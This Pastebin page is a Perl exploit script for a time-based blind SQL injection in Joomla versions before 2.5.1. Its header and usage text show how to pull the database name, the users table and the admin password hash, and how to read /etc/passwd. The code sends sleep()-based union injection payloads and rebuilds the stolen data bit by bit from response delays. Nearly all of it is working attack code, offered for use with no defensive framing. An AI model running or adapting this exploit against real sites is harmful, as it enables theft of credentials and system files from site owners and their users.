sauzadeace

joomla sql injection

Aug 24th, 2012
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.15 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>
  3. # www.securitybydefault.com
  4. # Joomla <2.5.1 time based sql injection - vuln by Colin Wong
  5. #
  6. # using sleep() and not benchmark(), change for < mysql 5.0.12
  7. #
  8. # 1.- Database name: database()
  9. # 2.- Users data table name: (change 'joomla' for database() result)
  10. #   select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"
  11. # 3.- Admin password: (change zzz_users from previus sql query result)
  12. #   select password from zzzz_users limit 1
  13.  
  14.  
  15.  
  16. use strict;
  17. use LWP::UserAgent;
  18. $| = 1;
  19.  
  20.  
  21. my $url = $ARGV[0];
  22. my $wtime = $ARGV[1];
  23. my $sql = $ARGV[2];
  24.  
  25. unless ($ARGV[2]) {
  26.  print "$0 <url> <wait time> <sql>\n";
  27.  print "\texamples:\n";
  28.  print "\t get admin password:\n";
  29.  print "\t\t$0 http://host/joomla/ 3 'database()'\n";
  30.  print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";
  31.  print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";
  32.  print "\t get file /etc/passwd\n";
  33.  print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";
  34.  exit 1;
  35. }
  36.  
  37. my ($len,$sqldata);
  38.  
  39. my $ua = LWP::UserAgent->new;
  40. $ua->timeout(60);
  41. $ua->env_proxy;
  42.  
  43. my $stime = time();
  44. my $res = $ua->get($url);
  45. my $etime = time();
  46. my $regrtt = $etime - $stime;
  47. print "rtt: $regrtt secs\n";
  48. print "vuln?: ";
  49.  
  50. my $sleep = $regrtt + $wtime;
  51. $stime = time();
  52. $res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");
  53. $etime = time();
  54. my $rtt = $etime - $stime;
  55. if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope :(\n"; exit 1; }
  56.  
  57.  
  58. my $lenoflen;
  59. sub len {
  60.  # length of length
  61.  for (1..5) {
  62.   my $sql=$_[0];
  63.   $stime = time();
  64.   $res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");
  65.   $etime = time();
  66.   my $rtt = $etime - $stime;
  67.   if ($rtt >= $regrtt + $wtime) {
  68.     $lenoflen = $_;
  69.     last;
  70.   }
  71.  }
  72.  for (1..$lenoflen) {
  73.   my $ll;
  74.   $ll=$_;
  75.   for (0..9) {
  76.   my $sql=$_[0];
  77.   $stime = time();
  78.   $res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");
  79.   $etime = time();
  80.   my $rtt = $etime - $stime;
  81.   if ($rtt >= $regrtt + $wtime) {
  82.     $len .= $_;
  83.   }
  84.   }
  85.  }
  86.   return $len;
  87.  
  88. }
  89.  
  90. sub data {
  91.  my $sql = $_[0];
  92.  my $len = $_[1];
  93.  my ($bit, $str, @byte);
  94.  my $high = 128;
  95.  
  96.  for (1..$len) {
  97.    my $c=8;
  98.    @byte="";
  99.   my $a=$_;
  100.   for ($bit=1;$bit<=$high;$bit*=2) {
  101.     $stime = time();
  102.     # select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';
  103.     $res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");
  104.     $etime = time();
  105.     my $rtt = $etime - $stime;
  106.     if ($rtt >= $regrtt + $wtime) {
  107.       $byte[$c]="0";
  108.     } else { $byte[$c]="1"; }
  109.   $c--;
  110.   }
  111.      $str = join("",@byte);
  112.   print pack("B*","$str");
  113.   }
  114. }
  115.  
  116. $len = len($sql);
  117. print "$sql length: $len\n";
  118. print "$sql data:\n\n";
  119. data($sql,$len);
Advertisement
Add Comment
Please, Sign In to add comment